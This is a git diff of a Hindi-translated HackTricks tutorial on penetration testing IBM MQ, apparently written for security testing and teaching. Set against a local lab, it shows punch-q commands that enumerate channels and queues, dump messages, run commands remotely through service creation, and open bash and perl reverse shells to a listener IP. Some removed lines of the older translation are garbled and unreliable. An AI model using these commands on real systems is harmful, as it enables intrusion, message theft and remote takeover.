* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैक
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
# 1414 - पेंटेस्टिंग आईबीएम क्यू
# 1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मौलिक जानकारी
## Basic information
आईबीएम क्यू एक आईबीएम प्रौद्योगिकी है जो संदेश कतारों का प्रबंधन करने के लिए है। जैसे अन्य **संदेश ब्रोकर** प्रौद्योगिकियों, यह उत्पादक और उपभोक्ताओं के बीच सूचना प्राप्त, संग्रहित, प्रसंस्कृत और वर्गीकरण करने के लिए समर्पित है।
IBM MQ एक IBM तकनीक है जो संदेश कतारों का प्रबंधन करती है। अन्य **message broker** तकनीकों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच जानकारी प्राप्त करने, संग्रहीत करने, संसाधित करने और वर्गीकृत करने के लिए समर्पित है।
डिफ़ॉल्ट रूप से, **यह आईबीएम क्यू टीसीपी पोर्ट 1414 को उजागर करता है**
कभी-कभी, HTTP REST API पोर्ट **9443** पर उजागर किया जा सकता है।
मैट्रिक्स (प्रोमेथियस) को भी टीसीपी पोर्ट **9157** से एक्सेस किया जा सकता है।
डिफ़ॉल्ट रूप से, **यह IBM MQ TCP पोर्ट 1414 को उजागर करता है**। कभी-कभी, HTTP REST API पोर्ट **9443** पर उजागर हो सकता है। मेट्रिक्स (Prometheus) को TCP पोर्ट **9157** से भी एक्सेस किया जा सकता है।
आईबीएम क्यू टीसीपी पोर्ट 1414 का उपयोग संदेश, कतार, चैनल, ... को मैनिपुलेट करने के लिए हो सकता है, लेकिन **इंस्टेंस को भी नियंत्रित करने के लिए**।
IBM MQ TCP पोर्ट 1414 का उपयोग संदेशों, कतारों, चैनलों, ... को हेरफेर करने के लिए किया जा सकता है, लेकिन **इंस्टेंस को नियंत्रित करने के लिए भी**
आईबीएम द्वारा [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) पर एक बड़ी तकनीकी प्रलेखन उपलब्ध है।
IBM एक बड़ा तकनीकी दस्तावेज़ प्रदान करता है जो [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) पर उपलब्ध है।
## उपकरण
## Tools
आसान शो के लिए एक सुझाया गया उपकरण है **[punch-q](https://github.com/sensepost/punch-q)**, जिसमें डॉकर का उपयोग होता है। यह उपकरण सक्रिय रूप से पायथन पुस्तकालय `pymqi` का उपयोग करता है।
आसान शोषण के लिए एक सुझाया गया उपकरण है **[punch-q](https://github.com/sensepost/punch-q)**, जिसमें Docker का उपयोग किया गया है। यह उपकरण सक्रिय रूप से Python पुस्तकालय `pymqi` का उपयोग कर रहा है।
अधिक मैन्युअल दृष्टिकोण के लिए, पायथन पुस्तकालय **[pymqi](https://github.com/dsuch/pymqi)** का उपयोग करें। [आईबीएम क्यू निर्भरताएं](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) की आवश्यकता होती है।
एक अधिक मैनुअल दृष्टिकोण के लिए, Python पुस्तकालय **[pymqi](https://github.com/dsuch/pymqi)** का उपयोग करें। [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) की आवश्यकता है।
### pymqi को स्थापित करना
### Installing pymqi
**आईबीएम क्यू निर्भरताएं** को स्थापित और लोड किया जाना चाहिए:
**IBM MQ dependencies** को स्थापित और लोड करने की आवश्यकता है:
1. [https://login.ibm.com/](https://login.ibm.com/) पर एक खाता (IBMid) बनाएं।
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA) से आईबीएम क्यू पुस्तकालय डाउनलोड करें। लिनक्स x86_64 के लिए यह **9.0.0.4-IBM-MQC-LinuxX64.tar.gz** है।
3. डीकॉम्प्रेस करें (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)।
4. लाइसेंस की शर्तें स्वीकार करने के लिए `sudo ./mqlicense.sh` चलाएं।
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) से IBM MQ पुस्तकालय डाउनलोड करें। Linux x86_64 के लिए यह **9.0.0.4-IBM-MQC-LinuxX64.tar.gz** है।
3. डिकंप्रेस करें (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)।
4. लाइसेंस शर्तों को स्वीकार करने के लिए `sudo ./mqlicense.sh` चलाएं।
>यदि आप काली लिनक्स के अंदर हैं, तो फ़ाइल `mqlicense.sh` को संशोधित करें: निम्नलिखित पंक्तियों को हटाएं/टिप्पणी करें (लाइन 105-110 के बीच):
>यदि आप Kali Linux पर हैं, तो फ़ाइल `mqlicense.sh` को संशोधित करें: निम्नलिखित पंक्तियों को हटा दें/कमेंट करें (पंक्तियों 105-110 के बीच):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
@ -50,53 +51,53 @@
>fi
>```
5. ये पैकेज स्थापित करें:
5. इन पैकेजों को स्थापित करें:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. फिर, `.so` फ़ाइलों को LD में अस्थायी रूप से जोड़ें: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **पहले** इन डिपेंडेंसियों का उपयोग करने वाले अन्य उपकरणों को चलाने से पहले।
6. फिर, अस्थायी रूप से `.so` फ़ाइलों को LD में जोड़ें: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **अन्य उपकरणों को इन निर्भरताओं का उपयोग करने से पहले** चलाने से पहले।
फिर, आप परियोजना [**pymqi**](https://github.com/dsuch/pymqi) क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... है। या आप सीधे पुस्तकालय को इंस्टॉल कर सकते हैं: `pip install pymqi`
फिर, आप प्रोजेक्ट [**pymqi**](https://github.com/dsuch/pymqi) को क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... शामिल हैं। या आप सीधे लाइब्रेरी को स्थापित कर सकते हैं: `pip install pymqi`
### पंच-क्यू का उपयोग
### Using punch-q
#### डॉकर के साथ
#### With Docker
बस इस्तेमाल करें: `sudo docker run --rm -ti leonjza/punch-q`
बस उपयोग करें: `sudo docker run --rm -ti leonjza/punch-q`
#### डॉकर के बिना
#### Without Docker
रियोजना [**punch-q**](https://github.com/sensepost/punch-q) क्लोन करें और फिर स्थापना के लिए readme का पालन करें (`pip install -r requirements.txt && python3 setup.py install`)।
्रोजेक्ट [**punch-q**](https://github.com/sensepost/punch-q) को क्लोन करें फिर स्थापना के लिए रीडमी का पालन करें (`pip install -r requirements.txt && python3 setup.py install`)।
इसके बाद, इसे `punch-q` कमांड के साथ उपयोग किया जा सकता है।
## गणना
## Enumeration
आप **पंच-क्यू** या **pymqi** के साथ **क्यू मैनेजर नाम, उपयोगकर्ता, चैनल और क्यू** की गणना करने की कोशिश कर सकते हैं।
आप **punch-q** या **pymqi** के साथ **क्यू प्रबंधक का नाम, उपयोगकर्ता, चैनल और क्यू** को सूचीबद्ध करने का प्रयास कर सकते हैं।
### कतार प्रबंधक
### Queue Manager
कभी-कभी, क्यू प्रबंधक नाम प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:
कभी-कभी, क्यू प्रबंधक का नाम प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### चैनल
### Channels
**punch-q** एक आंतरिक (संशोधनीय) शब्दसूची का उपयोग कर विद्यमान चैनल खोजने के लिए किया जाता है। उपयोग उदाहरण:
**punch-q** एक आंतरिक (संशोधित करने योग्य) शब्द सूची का उपयोग कर रहा है ताकि मौजूदा चैनलों को खोजा जा सके। उपयोग का उदाहरण:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
ऐसा होता है कि कुछ IBM MQ उदाहरण **अप्रमाणित** MQ अनुरोध स्वीकार करते हैं, इसलिए `--username / --password` की आवश्यकता नहीं है। बेशक, पहुच अधिकार भी भिन्न हो सकते हैं।
यह होता है कि कुछ IBM MQ उदाहरण **अप्रमाणित** MQ अनुरोधों को स्वीकार करते हैं, इसलिए `--username / --password` की आवश्यकता नहीं है। बेशक, पहुच अधिकार भी भिन्न हो सकते हैं।
जैसे ही हमें एक चैनल नाम मिलता है (यहाँ: `DEV.ADMIN.SVRCONN`), हम सभी अन्य चैनलों की जांच कर सकते हैं।
जैसे ही हमें एक चैनल नाम मिलता है (यहाँ: `DEV.ADMIN.SVRCONN`), हम सभी अन्य चैनलों की गणना कर सकते हैं।
सूचीकरण मूल रूप से इस कोड स्निपेट `code/examples/dis_channels.py` के साथ **pymqi** से किया जा सकता है:
गणना मूल रूप से इस कोड स्निपेट `code/examples/dis_channels.py` से की जा सकती है **pymqi**:
```python
import logging
import pymqi
@ -133,8 +134,8 @@ logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... लेकिन **punch-q** भी उस हिस्से को एम्बेड करता है (अधिक जानकारी के साथ!)।
इसे इस प्रकार से लॉन्च किया जा सकता है:
... लेकिन **punch-q** उस भाग को भी एम्बेड करता है (और अधिक जानकारी के साथ!)।
इसे लॉन्च किया जा सकता है:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
@ -155,9 +156,9 @@ Showing channels with prefix: "*"...
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### कताएँ
### Queues
यहाँ एक कोड स्निपेट है **pymqi** (`dis_queues.py`) लेकिन **punch-q**ो कताओं के बारे में अधिक जानकारी प्राप्त करने की अनुमति है:
एक कोड स्निपेट है **pymqi** (`dis_queues.py`) लेकिन **punch-q**तारों के बारे में अधिक जानकारी प्राप्त करने की अनुमति देता है:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
@ -179,11 +180,11 @@ Showing queues with prefix: "*"...
| 9 | | | | | | | |
# Truncated
```
## शारीरिक शोषण
## Exploit
### संदेश डंप
### Dump messages
आप कतार(कतारों)/चैनल(चैनलों) को लकड़बग्घा लगाने के लिए लकड़बग्घा लगाने के लिए संदेशों को छानने/डंप करने का लक्ष्य निशेष ऑपरेशन कर सकते हैं। *उदाहरण:*
आप कतार(ों)/चैनल(ों) को लक्षित कर सकते हैं ताकि उनसे संदेशों को स्निफ़/डंप किया जा सके (गैर-नाशक ऑपरेशन)। *Examples:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
@ -191,36 +192,36 @@ Showing queues with prefix: "*"...
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**सभी पहचानी गई कतारों पर इटरेट करने से हिचकिचाहट न करें।**
**सभी पहचाने गए कतारों पर दोहराने में संकोच न करें।**
### कोड निष्पादन
> जारी रखने से पहले कुछ विवरण: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) में मिल सकती हैं।
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***प्रोग्रामेबल कमांड फॉर्मेट्स***) उस पर ध्यान केंद्रित है जिससे हम इंस्टेंस के साथ दूरस्थ रूप से बातचीत कर सकते हैं। **punch-q** और इसके आगे **pymqi** PCF इंटरैक्शन पर आधारित हैं।
> कुछ विवरण आगे बढ़ने से पहले: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ [IBM MQ दस्तावेज़](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) में पाई जा सकती हैं।
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***प्रोग्रामेबल कमांड फॉर्मेट्स***) पर हम दूरस्थ रूप से उदाहरण के साथ बातचीत करने के लिए ध्यान केंद्रित कर रहे हैं। **punch-q** और इसके अलावा **pymqi** PCF इंटरैक्शन पर आधारित हैं।
>
> आप एक PCF कमांडों की सूची पा सकते हैं:
> * [PCF दस्तावेज़ीकरण से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), और
> * [स्थिर](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes) से
> आप PCF कमांड की एक सूची पा सकते हैं:
> * [PCF दस्तावेज़ से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), और
> * [स्थिरांक से](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)।
>
> एक दिलचस्प कमांड `MQCMD_CREATE_SERVICE` है और इसकी दस्तावेज़ीकरण [यहाँ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) उपलब्ध है। इसे एक `StartCommand` के रूप में एक स्थानीय कार्यक्रम परिभाषित करता है जो इंस्टेंस पर हो (उदाहरण: `/bin/sh`)।
> एक दिलचस्प कमांड है `MQCMD_CREATE_SERVICE` और इसका दस्तावेज़ [यहाँ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) उपलब्ध है। यह एक `StartCommand` को तर्क के रूप में लेता है जो उदाहरण पर एक स्थानीय प्रोग्राम की ओर इशारा करता है (उदाहरण: `/bin/sh`)।
>
> दस्तावेज़ में इस कमांड की एक चेतावनी भी है: *"ध्यान दें: इस कमांड द्वारा एक उपयोगकर्ता को mqm अधिकार के साथ किसी भी विचित्र कमांड को चलाने की अनुमति होती है। इस कमांड का उपयोग करने के अधिकार प्रदान किए जाने पर, एक दुर्भाग्यपूर्ण या बेपरवाह उपयोगकर्ता एक सेवा को परिभाषित कर सकता है जो आपके सिस्टम या डेटा को नुकसान पहुंचा सकती है, उदाहरण के लिए, महत्वपूर्ण फ़ाइलें हटा देने के द्वारा।"*
> दस्तावेज़ में कमांड का एक चेतावनी भी है: *"ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm अधिकार के साथ एक मनमाना कमांड चलाने की अनुमति देती है। यदि इस कमांड का उपयोग करने के लिए अधिकार दिए जाते हैं, तो एक दुर्भावनापूर्ण या लापरवाह उपयोगकर्ता एक सेवा परिभाषित कर सकता है जो आपके सिस्टम या डेटा को नुकसान पहुंचाती है, उदाहरण के लिए, आवश्यक फ़ाइलों को हटाकर।"*
>
> *नोट: हमेशा IBM MQ दस्तावेज़ीकरण (प्रशासन संदर्भ) के अनुसार, सेवा निर्माण के लिए समकक्ष MQSC कमांड चलाने के लिए `/admin/action/qmgr/{qmgrName}/mqsc` पर एक HTTP एंडप्वाइंट भी है। यह पहलू यहाँ अभी तक शामिल नहीं है।*
> *नोट: हमेशा IBM MQ दस्तावेज़ (प्रशासन संदर्भ) के अनुसार, `/admin/action/qmgr/{qmgrName}/mqsc` पर एक HTTP एंडपॉइंट भी है जो सेवा निर्माण के लिए समकक्ष MQSC कमांड (`DEFINE SERVICE`) चलाने के लिए है। यह पहलू यहाँ अभी तक कवर नहीं किया गया है।*
PCF के साथ रिमोट प्रोग्राम निष्पादन के लिए सेवा निर्माण / हटाना **punch-q** द्वारा किया जा सकता है:
दूरस्थ प्रोग्राम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाने को **punch-q** द्वारा किया जा सकता है:
**उदाहरण 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक चलाई गई है:
> IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक निष्पादित हुआ है:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
आप मशीन पर मौजूदा प्रोग्रामों की सूची भी बना सकते हैं (यहाँ `/bin/doesnotexist` ... मौजूद नहीं है):
आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहाँ `/bin/doesnotexist` ... मौजूद नहीं है):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
@ -235,30 +236,30 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**कृपया ध्यान दें कि कार्यक्रम लॉन्च असमंजस है। इसलिए आपको एक दूसरे आइटम की आवश्यकता है ताकि आप उसे शास्त्र के रूप में उपयोग कर सकें** ***(रिवर्स शैल के लिए सुनने वाला, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकासी ...)***
**ध्यान रखें कि प्रोग्राम लॉन्च असिंक्रोनस है। इसलिए आपको एक्सप्लॉइट का लाभ उठाने के लिए एक दूसरा आइटम चाहिए** ***(रिवर्स शेल के लिए लिस्नर, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकासी ...)***
**उदाहरण 2**
आसान रिवर्स शैल के लिए, **punch-q** दो रिवर्स शैल पेलोड भी प्रस्तुत करता है:
आसान रिवर्स शेल के लिए, **punch-q** दो रिवर्स शेल पेलोड भी प्रदान करता है:
* एक बैश के साथ
* एक पर्ल के साथ
* एक bash के साथ
* एक perl के साथ
*बेशक, आप `कमांड का निष्पादन` के साथ एक कस्टम भी बना सकते हैं।*
*बिल्कुल, आप `execute` कमांड के साथ एक कस्टम बना सकते हैं।*
बैश के लिए:
bash के लिए:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
For पर्ल:
perl के लिए:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### कस्टम पीसीएफ
### Custom PCF
आप IBM MQ दस्तावेज़ीकरण में खोज कर सकते हैं और **punch-q** में निर्मित किसी विशेष PCF कमांड का परीक्षण करने के लिए **pymqi** पायथन पुस्तकालय का सीधा उपयोग कर सकते हैं
आप IBM MQ दस्तावेज़ में गहराई से जा सकते हैं और **pymqi** पायथन पुस्तकालय का सीधे उपयोग कर सकते हैं ताकि **punch-q** में लागू नहीं किए गए विशिष्ट PCF कमांड का परीक्षण किया जा सके
**उदाहरण:**
**Example:**
```python
import pymqi
@ -286,9 +287,9 @@ else:
qmgr.disconnect()
```
यदि आप स्थिर नामों को नहीं ढूंढ पा रहे हैं, तो आप [IBM MQ दस्तावेज़ीकरण](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) का संदर्भ ले सकते हैं।
यदि आप स्थायी नाम नहीं ढूंढ पा रहे हैं, तो आप [IBM MQ दस्तावेज़](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) का संदर्भ ले सकते हैं।
> *उदाहरण के लिए [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (दशमलव = 73)। इसे पैरामीटर `MQCA_CLUSTER_NAME` (दशमलव = 2029) की आवश्यकता होती है जो `*` हो सकता है (दस्तावेज़ीकरण: ):*
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) का उदाहरण (दशमलव = 73)। इसे `MQCA_CLUSTER_NAME` (दशमलव = 2029) पैरामीटर की आवश्यकता है, जो `*` हो सकता है (दस्तावेज़: ):*
>
> ```python
> import pymqi
@ -308,37 +309,34 @@ qmgr.disconnect()
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("त्रुटि")
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## परीक्षण परिवेश
## परीक्षण वातावरण
यदि आप IBM MQ का व्यवहार और उत्पीड़न का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित स्थानीय परिवेश सेटअप कर सकते हैं:
यदि आप IBM MQ के व्यवहार और शोषण का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित एक स्थानीय वातावरण सेट कर सकते हैं:
1. ibm.com और cloud.ibm.com पर खाता होना।
2. निम्नलिखित के साथ एक कंटेनरीकृत IBM MQ बनाएं:
1. ibm.com और cloud.ibm.com पर एक खाता होना।
2. निम्नलिखित के साथ एक कंटेनराइज्ड IBM MQ बनाएं:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
```plaintext
डिफ़ॉल्ट रूप से प्रमाणीकरण सक्षम है, उपयोगकर्ता नाम `admin` है और पासवर्ड `passw0rd` है (पर्यावरण चर `MQ_ADMIN_PASSWORD`).
यहाँ, क्यू मैनेजर नाम को `MYQUEUEMGR` (चर `MQ_QMGR_NAME`) पर सेट किया गया है।
डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम है, उपयोगकर्ता नाम `admin` है और पासवर्ड `passw0rd` है (पर्यावरण चर `MQ_ADMIN_PASSWORD`)। यहाँ, कतार प्रबंधक का नाम `MYQUEUEMGR` पर सेट किया गया है (चर `MQ_QMGR_NAME`)।
आपको IBM MQ को चालू और इसके पोर्ट उजागर करने की आवश्यकता है:
```
आपके पास IBM MQ चालू और चल रहा होना चाहिए और इसके पोर्ट्स खोले हुए होने चाहिए:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> IBM MQ डॉकर छवियों की पुरानी संस्करण यहाँ उपलब्ध हैं: https://hub.docker.com/r/ibmcom/mq/.
> IBM MQ डॉकर इमेज के पुराने संस्करण यहाँ हैं: https://hub.docker.com/r/ibmcom/mq/.
## संदर्भ
## References
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)

View file

@ -1,33 +1,39 @@
# 5439 - Pentesting Redshift
{% hint style="success" %}
